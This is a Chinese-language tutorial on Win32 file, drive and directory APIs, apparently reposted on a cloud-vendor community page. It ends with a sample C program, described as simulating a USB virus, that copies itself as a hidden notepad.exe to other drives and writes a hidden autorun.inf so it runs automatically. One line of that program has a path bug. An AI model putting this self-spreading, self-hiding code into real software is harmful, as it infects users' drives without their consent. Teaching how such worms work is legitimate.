Windows檔案操作

來源:互聯網
上載者:User

標籤:UNC   handle   max   line   完整   receive   one   imm   gen   

在windows中有多種檔案,圖片、視頻、音樂等等。此些檔案皆存於磁碟上,只是儲存格式不同。此外,管道、郵槽,亦或是裝置對象,於windows而言,皆為檔案。

1. 檔案的開啟和關閉

與c,c++操作檔案一樣,要操作檔案,首先需要開啟檔案。檔案開啟成功後會返回一個可用於操作檔案的控制代碼,通過此控制代碼便可對檔案進行讀寫操作。

開啟檔案
HANDLE CreateFile(    LPCTSTR lpFileName,    DWORD dwDesiredAccess,    DWORD dwShareMode,    LPSECURITY_ATTRIBUTES lpSecurityAttributes,    DWORD dwCreationDisposition,    DWORD dwFlagsAndAttributes,    HANDLE hTemplateFile);
參數說明:
  • lpFileName:欲開啟之檔案名稱。
  • dwDesiredAccess:檔案之訪問模式,指定了對開啟對象進行何種操作。通常為:GENERIC_READGENERIC_WRITE,分別為唯讀和唯寫模式。
  • dwShareMode:共用模式,表示檔案被開啟後是否允許其它進程進行操作。若可操作,可指定其操作模式。
    |——FILE_SHARE_DELETE:表示隨後開啟操作對象只有刪除訪問請求會成功。
    |——FILE_SHARE_READ:表示隨後開啟操作對象只有請求讀訪問會成功。
    |——FILE_SHARE_WRITE:表示隨後開啟操作對象只有請求寫訪問。
  • lpSecurityAttributes:安全屬性,可指定返回的檔案控制代碼是否可被子線程繼承。若為NULL,表示無法被繼承,否則需將參數指向SECURITY_ATTRIBUTES的結構體。通常為NULL。
  • dwCreationDisposition:建立或開啟的檔案存在或不存在時該函數的處理方式。
    |——CREATE_NEW: 建立檔案;如檔案存在則會出錯。
    |——CREATE_ALWAYS: 建立檔案,會改寫前一個檔案。
    |——OPEN_EXISTING: 檔案必須已經存在。由裝置提出要求。
    |——OPEN_ALWAYS: 如檔案不存在則建立它。
    |——TRUNCATE_EXISTING: 將現有檔案縮短為零長度。
  • dwFlagsAndAttributes:指定建立檔案的屬性和對檔案操作的方式。
    |——FILE_ATTRIBUTE_ARCHIVE: 標記歸檔屬性。
    |——FILE_ATTRIBUTE_COMPRESSED: 將檔案標記為已壓縮,或者標記為檔案在目錄中的預設壓縮方式。
    |——FILE_ATTRIBUTE_NORMAL: 預設屬性。
    |——FILE_ATTRIBUTE_HIDDEN: 隱藏檔案或目錄。
    |——FILE_ATTRIBUTE_READONLY: 檔案為唯讀。
    |——FILE_ATTRIBUTE_SYSTEM: 檔案為系統檔案。
    |——FILE_FLAG_OVERLAPPED: 允許對檔案進行重疊操作。
  • hTemplateFile:檔案模組控制代碼,系統會copy該檔案模板的所有屬性到當前建立的檔案中。
Return Value:
  • succeed:返回一個檔案控制代碼。
  • failed:返回INVALID_HANDLE_VALUE。

此函數既可開啟檔案,也可建立檔案,在windows下也有一個OpenFile()函數,這是Win16的產物,在Win32下必須使用CreateFile()來開啟檔案。

檔案操作完成後,需要關閉開啟檔案的控制代碼以釋放資源,函數如下:

BOOL CloseHandle(    HANDLE hObject  //handle to object);

該函數不僅可關閉檔案控制代碼,還可關閉事件控制代碼、進程控制代碼、線程控制代碼等等物件控點。


2.檔案的基本操作 刪除檔案
BOOL DeleteFile(    LPCTSTR lpFileName);

此函數只有一個參數,表示要刪除檔案的名稱。

讀取檔案
BOOL ReadFile(    HANDLE hFile,                  //handle to file    LPVOID lpBuffer,               //data buffer    DWORD nNumberOfBytesToRead,    //number of bytes to read    LPDWORD lpNumberOfBytesRead,   //number of bytes read    LPOVERLAPPED lpOverlapped      //overlapped buffer);
參數說明:
  • hFile:檔案控制代碼,通常為CreateFile()返回的控制代碼。
  • lpBuffer:指向一個緩衝區,將從檔案中讀出的資料儲存在該緩衝區中。
  • nNumberOfBytesToRead:要求讀入的最小值,通常情況下是緩衝區的大小。
  • lpNumberOfBytesRead:指向一個DWORD變數,返用於返回讀入的位元組數。
  • lpOverlapped:通常為NULL。
寫入檔案
BOOL WriteFile(    HANDLE hFile,                     //handle to file    LPCVOID lpBuffer,                 //data buffer    DWORD nNumberOfBytesToWrite,      //number of bytes to write    LPDWORD lpNumberOfBytesWritten,   //number of bytes written    LPOVERLAPPED lpOverlapped         //overlapped buffer);

此函數和ReadFile()函數的參數意義基本相同,WriteFile()函數的第二個參數仍指向一個緩衝區,ReadFile()函數是將讀入的內容存入此中,而WriteFile()函數是將之中的內容進行寫入。

當用WriteFile()函數寫檔案時,windows會將資料暫時儲存在內部的快取中,作業系統定時進行盤寫入,這樣就避免的頻繁的I/O操作,提高了效率。為了保證資料即時寫入,可以使用FlushFileBuffers()函數:

BOOL FlushFileBuffers(    HANDLE hFile  //handle to file);

此函數清空指定檔案控制代碼的緩衝區,從而使Windows將緩衝區中的檔案寫入磁碟。這裡的控制代碼和WriteFile()與ReadFile()所使用的檔案控制代碼相同。

設定檔案指標

在進行檔案讀取之時,往往需要讀取檔案的某個部分,這便需對檔案指標進行移動,從而正確讀寫。

移動檔案指標函數為:

BOOL SetFilePointer(    HANDLE hFile,                 //handle to file    LONG lDistanceToMove,         //bytes to move pointer    PLONG lpDistanceToMoveHigh,   //bytes to move pointer    DWORD dwMoveMethod            //starting point);
參數說明:
  • hFile:檔案操作時的檔案控制代碼。
  • lDistanceToMove:指定要移動檔案指標的距離。
  • lpDistanceToMoveHigh:指向LONG型的指標,移動距離的高32位。常為NULL。
  • dwMoveMethod:指定移動的起始位置。可從檔案開始處移動,也可從當前位置移動,亦能從檔案的末尾開始移動。
拷貝檔案
BOOL CopyFile(  LPCTSTR lpExistingFileName,                          // pointer to name of an existing file  LPCTSTR lpNewFileName,  // pointer to filename to copy to  BOOL bFailIfExists      // flag for operation if file exists);
參數說明:
  • lpExistingFileName:指向要拷貝檔案的名稱。
  • lpNewFileName:指向要拷貝的檔案名稱
  • bFailIfExists:若目標檔案已存在的處理標誌。若為TRUE,則調用失敗;若為FALSE,則覆蓋原檔案。
設定檔案屬性
BOOL SetFileAttributes(  LPCTSTR lpFileName,      // pointer to filename  DWORD dwFileAttributes   // attributes to set);

第一個參數是檔案名稱,第二個參數是要設定的屬性,這些屬性是一些宏定義,以FILE_ATTRIBUTE_開頭。MSDN中描述如下

  • FILE_ATTRIBUTE_ARCHIVE: The file is an archive file. Applications use this attribute to mark files for backup or removal.
  • FILE_ATTRIBUTE_HIDDEN: The file is hidden. It is not included in an ordinary directory listing.
  • FILE_ATTRIBUTE_NORMAL: The file has no other attributes set. This attribute is valid only if used alone.
  • FILE_ATTRIBUTE_OFFLINE: The data of the file is not immediately available. Indicates that the file data has been physically moved to offline storage.
  • FILE_ATTRIBUTE_READONLY: The file is read-only. Applications can read the file but cannot write to it or delete it.
  • FILE_ATTRIBUTE_SYSTEM: The file is part of the operating system or is used exclusively by it.
  • FILE_ATTRIBUTE_TEMPORARY: The file is being used for temporary storage. File systems attempt to keep all of the data in memory for quicker access rather than flushing the data back to mass storage. A temporary file should be deleted by the application as soon as it is no longer needed.


3. 磁碟機及目錄相關操作 擷取本地所有邏輯磁碟機:
DWORD GetLogicalDriveStrings(    DWORD nBufferLength,   //size of buffer    LPTSTR lpBuffer        //drive strings buffer);
參數說明:
  • nBufferLength:表示lpBuffer的長度。
  • lpBuffer:表示接收本地邏輯磁碟機名的緩衝區。

該函數以字串的形式返回本地所有可用的磁碟機名儲存在lpBuffer中。

擷取磁碟機類型函數
UINT GetDriveType(    LPCTSTR lpRootPathName  //root directory);

lpRootPathName儲存擷取的邏輯磁碟機類型的磁碟機名。函數的傳回值為以下之一:

DRIVE_UNKONWN           無法識別此磁碟機類型DRIVE_NO_ROOT_DIR       無效的磁碟機路徑DRIVE_REMOVEABLE        抽取式磁碟機,如隨身碟、移動硬碟等DRIVE_FIXED             不抽取式磁碟機,指硬碟DRIVE_REMOTE            網路磁碟機DRIVE_CDROM             光碟片磁碟機DRIVE_RAMDISK           虛擬磁碟機
擷取檔案路徑
DWORD GetModuleFileName(  HMODULE hModule,    // handle to module to find filename for  LPTSTR lpFilename,  // pointer to buffer to receive module path  DWORD nSize         // size of buffer, in characters);
建立目錄的函數
BOOL CreateDirectory(    LPCTSTR lpPathName,                         //directory name    LPSECURITY_ATTRIBUTES lpSecurityAttributes  //SD);
參數說明:
  • lpPathName:建立目錄的目錄名稱。
  • lpSecurityAttributes:安全屬性,常為NULL。
移除目錄的函數
BOOL RemoveDirectory(    LPCTSTR lpPathName  //directory name);

參數指定了要移除的目錄名。


4. 樣本程式

該程式利用autorun.inf檔案類比隨身碟病毒,當該程式在隨身碟上時,它會將自己拷貝到所有磁碟目錄上,並產生autorun.inf檔案,這兩個檔案的屬性都被設定為隱藏。當該程式在磁碟上時,若有可移動磁碟,它將會做同樣操作到可移動磁碟上。

#define _CRT_SECURE_NO_WARNINGS#include <Windows.h>char szAutoRun[] = "[AutoRun] \r\nopen=notepad.exe \r\nshell\\open=開啟(&O) \r\nshell\\open\\Command=notepad.exe \r\nshell\\explore=資源管理員(&X) \r\nshell\\explore\\Command=notepad.exe \r\nshellexecute=notepad.exe \r\nshell\\Auto\\Command=notepad.exe";void infect(char *pszFile, UINT uDriverType){    char szDriveString[MAXBYTE] = { 0 };    DWORD dwRet = { 0 };    DWORD iNum = 0;    char szRoot[4] = { 0 };    UINT uType = 0;    char szTarget[MAX_PATH] = { 0 };    dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);    while (iNum < dwRet)     {        strncpy(szRoot, &szDriveString[iNum], 3);        uType = GetDriveType(szRoot);        if (uType == uDriverType)        {            lstrcpy(szTarget, szRoot);           //將根目錄名稱copy到szTarget            lstrcat(szTarget, "notepad.exe");    //szTarget為目標檔案名:盤符:\notepad.exe            CopyFile(pszFile, szTarget, FALSE);  //將原檔案拷貝到szTarget            //設定檔案屬性為隱藏            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);            //建立AutoRun.inf檔案            lstrcpy(szTarget, szRoot);            lstrcpy(szTarget, "autorun.inf");            HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE,                0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,                 NULL);            DWORD dwWritten = 0;            WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);            CloseHandle(hFile);            //隱藏autorun.inf檔案            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);        }        iNum += 4;  //開始操作下一個盤符    }}int main(){    char szFileName[MAX_PATH] = { 0 };    char szRoot[4] = { 0 };    UINT uType = 0;    GetModuleFileName(NULL, szFileName, MAX_PATH);  //擷取當前所在路徑和完整檔案名稱    strncpy(szRoot, szFileName, 3);                 //擷取所在盤符    uType = GetDriveType(szRoot);    switch (uType)    {    case DRIVE_FIXED:        infect(szFileName, DRIVE_REMOVABLE);  //若在硬碟上,則檢查是否有抽取式磁碟機,有則拷貝        break;    case DRIVE_REMOVABLE:        infect(szFileName, DRIVE_FIXED);  //若在抽取式磁碟機裡,則拷貝到硬碟        break;    }    return 0;}

Windows檔案操作

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.